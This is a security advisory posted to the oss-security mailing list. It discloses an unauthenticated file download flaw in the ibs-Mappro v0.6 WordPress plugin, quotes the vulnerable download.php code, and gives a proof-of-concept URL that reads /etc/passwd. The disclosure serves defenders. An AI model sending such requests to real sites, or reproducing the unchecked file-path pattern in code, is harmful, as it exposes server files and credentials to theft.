|
Message-id: <4ADF6D0B-2A2B-4F81-B53E-1E9C446D62A2@me.com> Date: Thu, 09 Jul 2015 15:14:45 -0400 From: "Larry W. Cashdollar" <larry0@...com> To: Open Source Security <oss-security@...ts.openwall.com> Subject: Remote file download vulnerability in ibs-Mappro v0.6 Wordpress plugin Title: Remote file download vulnerability in ibs-Mappro v0.6 Wordpress plugin Author: Larry W. Cashdollar, @_larry0 Date: 2015-07-08 Download Site: https://wordpress.org/plugins/ibs-mappro/ Vendor: Hmoore71 Vendor Notified: 2015-07-08, resolved in v1.0. Vendor Contact: Contacted via webform Advisory: http://www.vapid.dhs.org/advisory.php?v=137 Description: IBS Mappro is a comprehensive map creator, editor, and view generator based on the Google Maps API v3 and supports kml, kmz, and gpx map files. Vulnerability: the download.php script allows any remote user to download files off of the server: if (isset($_GET)) { $filename = $_GET['file']; $info = pathinfo($filename); $name = $info['basename']; if (file_exists($filename)) { header('Set-Cookie: fileDownload=true; path=/'); header('Cache-Control: max-age=60, must-revalidate'); header('Content-Disposition: attachment; filename="' . $title . '-' . $timestamp . '.csv"'); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $name . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($filename)); ob_clean(); flush(); readfile($filename); exit; } else { die; } } else { die; } ?> CVEID: Please assign. OSVDB: TDB Exploit Code: • http://example.com/wp-content/plugins/ibs-mappro/lib/download.php?file=/etc/passwd
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.